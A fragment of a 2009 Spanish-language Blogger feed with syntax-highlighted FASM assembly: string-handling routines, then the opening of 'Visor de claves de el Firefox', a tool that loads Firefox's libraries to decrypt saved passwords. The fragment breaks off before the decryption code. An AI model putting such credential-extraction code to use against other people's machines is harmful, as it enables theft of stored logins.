bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; comparar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cSeparador&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; comparar &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;SRC&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;DST &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Funcion que compara&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;SRC&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;al&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repnz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;scasb&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;not&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;SRC&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;DST&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmpsb&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jnz&lt;/span&gt; Next&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;Next&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena &amp;nbsp; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Funcion que mide la cadena&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;al&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repnz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;scasb&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;not&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; copy&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cDestino&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;funcion que copia una cadena&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cDestino&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;rep&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;movsb&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;end&lt;/span&gt; start&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-4184903645177585918?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/4184903645177585918/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=4184903645177585918&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/4184903645177585918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/4184903645177585918'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/05/srcsplit.html' title='[SRC]Split'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-7250800578836646178</id><published>2009-05-01T11:35:00.001-07:00</published><updated>2009-05-01T16:22:43.541-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>Visor de claves de el firefox(provado con 3.0.10 )</title><content type='html'>format pe console&lt;br&gt;entry start&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br&gt;sPath equ &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;Espacio equ &lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;data&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;struct&lt;/span&gt; TSECItem&lt;br&gt; &amp;nbsp; &amp;nbsp;SECItemType &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt; &amp;nbsp; &amp;nbsp;SECItemData &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt; &amp;nbsp; &amp;nbsp;SECItemLen &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt; &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;ends&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp;url &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt; &amp;nbsp; &amp;nbsp;valor &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;&amp;nbsp;&lt;br&gt;lvLibs0 &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;Logo &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;' &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ====================================================='&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;' &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = Humilde Visor de claves de el Firefox 0.1v by YST ='&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;br&gt; &amp;nbsp; &amp;nbsp; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;' &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ====================================================='&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;13&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;10&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;URL &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;Campo &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;tsec TSECItem&lt;br&gt;tSecDec &amp;nbsp;TSECItem&lt;br&gt;lvLibs7 &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;lKeySlot &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;P &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;bUsados &amp;nbsp; &amp;nbsp;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;hFile &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;tamAr &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;IB &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;sFFPath &amp;nbsp;rb MAX_PATH&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;br&gt;sRet rb &lt;span style="color: rgb(0, 0, 255);"&gt;260&lt;/span&gt;&lt;br&gt;sRet2 rb &lt;span style="color: rgb(0, 0, 255);"&gt;260&lt;/span&gt;&lt;br&gt;comp &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br&gt;start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; system&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"color 03"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; printf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"%s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Logo&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; SHGetSpecialFolderLocation&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;26h&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; LocalAlloc&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;40h&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH&lt;span style="color: rgb(0, 0, 255);"&gt;+1&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; SHGetPathFromIDList&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sPath&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrcat&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;sPath&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"\Mozilla Firefox\"&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Cargar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"mozcrt19.dll"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Cargar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ebx&lt;span style="color: rgb(0, 0, 255);"&gt;+4&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"sqlite3.dll"&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Cargar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dword&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: 